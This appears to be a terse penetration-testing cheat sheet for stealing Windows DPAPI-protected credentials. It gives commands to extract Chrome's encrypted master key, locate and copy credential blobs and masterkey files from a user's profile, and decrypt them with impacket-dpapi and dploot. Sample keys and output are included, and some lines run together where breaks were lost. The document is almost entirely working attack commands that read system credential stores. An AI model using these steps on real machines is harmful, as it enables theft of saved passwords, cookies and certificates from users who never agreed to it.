CRD - DPAPI Credentials
1.0 Parsing encrypted Masterkey
(gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"|ConvertFrom-Json).os_crypt.encrypted_key
RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACJDreGFQYEregrfqDQJdkZGEAAAAB4AAABNAGkAYwByAG8AcwBvAzukzukfgngAAgAEUAZABnAGUAAAADZgAAwAAAABAAAACyzClaJKcsycKEP7Qjo3p/AAAAAASAAACgAAAAEAAAAOzIMkFRIDq66Q8TVMYE9VUoAAAALQw6ZZhQTTvtI3im2hk4erged+7W7V9GLJR5WEORUHVRDqE62qXwYRQAAADZGAGQIAFEdPBvF0UGZukNk8xysg==2.0 Blob and Masterkey
2.1 Blob
You can find the blob file in users directory:
%appdata%microsoft\credentials\For example, the blob is named: C8D69EBE9A43E9DEBF6B5FBD48B521B9
Download the file on your local machine.
2.2 Masterkey
The masterkey is located in the protected directory:
%appdata%microsoft\protect\<SID>In this case, the file is named: 556a2412-1275-4ccf-b721-e6a0b4f90407
Download this file, too.
3.0 Decrypting (impacket)
3.1 Decrypting the masterkey
impacket-dpapi masterkey -file masterkey -password p4ss -sid S-1-5-21-...-1107You will get the plaintext masterkey as result, e.g.:
0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
3.2 Decrypting the blob
impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9...c844.0 Decrypting Credentials and Certificates (dploot)
Download dploot1
dploot triage --protocol local --root c:\ -u username -p password